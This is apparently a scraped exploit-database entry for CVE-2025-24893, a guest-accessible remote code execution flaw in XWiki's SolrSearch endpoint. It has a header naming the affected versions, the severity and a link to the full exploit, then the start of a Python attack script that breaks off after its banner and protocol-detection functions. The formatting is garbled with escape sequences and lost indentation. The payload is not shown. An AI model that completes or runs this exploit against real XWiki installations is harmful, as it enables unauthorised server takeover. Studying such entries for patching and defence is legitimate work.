<\/p>\n
# Exploit Title: XWiki Platform - Remote Code Execution
\n# Exploit Author: Al Baradi Joy
\n# Exploit Date: April 6, 2025
\n# CVE ID: CVE-2025-24893
\n# Vendor Homepage: https:\/\/www.xwiki.org\/
\n# Software Link: https:\/\/github.com\/xwiki\/xwiki-platform
\n# Version: Affected versions up to and including XWiki 15.10.10
\n# Tested Versions: XWiki 15.10.10
\n# Vulnerability Type: Remote Code Execution (RCE)
\n# CVSS Score: 9.8 (Critical)
\n# CVSS Vector: CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H
\n# Description:
\n# XWiki Platform suffers from a critical vulnerability where any guest user
\ncan
\n# execute arbitrary code remotely through the SolrSearch endpoint. This can
\nlead
\n# to a full server compromise, including the ability to execute commands on
\nthe
\n# underlying system. The vulnerability impacts the confidentiality,
\nintegrity,
\n# and availability of the XWiki installation. The issue has been patched in
\nXWiki
\n# versions 15.10.11, 16.4.1, and 16.5.0RC1.
\n# Proof of Concept: Yes
\n# Categories: XWiki, Remote Code Execution, CVE-2025, RCE
\n# References:
\n# - GHSA Advisory: https:\/\/github.com\/advisories\/GHSA-rr6p-3pfg-562j
\n# - NVD CVE Details: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-24893
\n# - GitHub Exploit Link:
\nhttps:\/\/github.com\/a1baradi\/Exploit\/blob\/main\/CVE-2025-24893.py
\n
\nimport requests
\n
\n# Banner
\ndef display_banner():
\nprint(\"=\"*80)
\nprint(\"Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code
\nExecution\")
\nprint(\"Exploit Author: Al Baradi Joy\")
\nprint(\"GitHub Exploit:
\nhttps:\/\/github.com\/a1baradi\/Exploit\/blob\/main\/CVE-2025-24893.py\")
\nprint(\"=\"*80)
\n
\n# Function to detect the target protocol (HTTP or HTTPS)
\ndef detect_protocol(domain):
\nhttps_url = f\"https:\/\/{domain}\"
\nhttp_url = f\"http:\/\/{domain}\"
\n
\ntry:
\nresponse = requests.get(https_url, timeout=5, allow_redirects=True)
\nif response.status_code <\/code><\/pre>\n<\/p><\/div>\n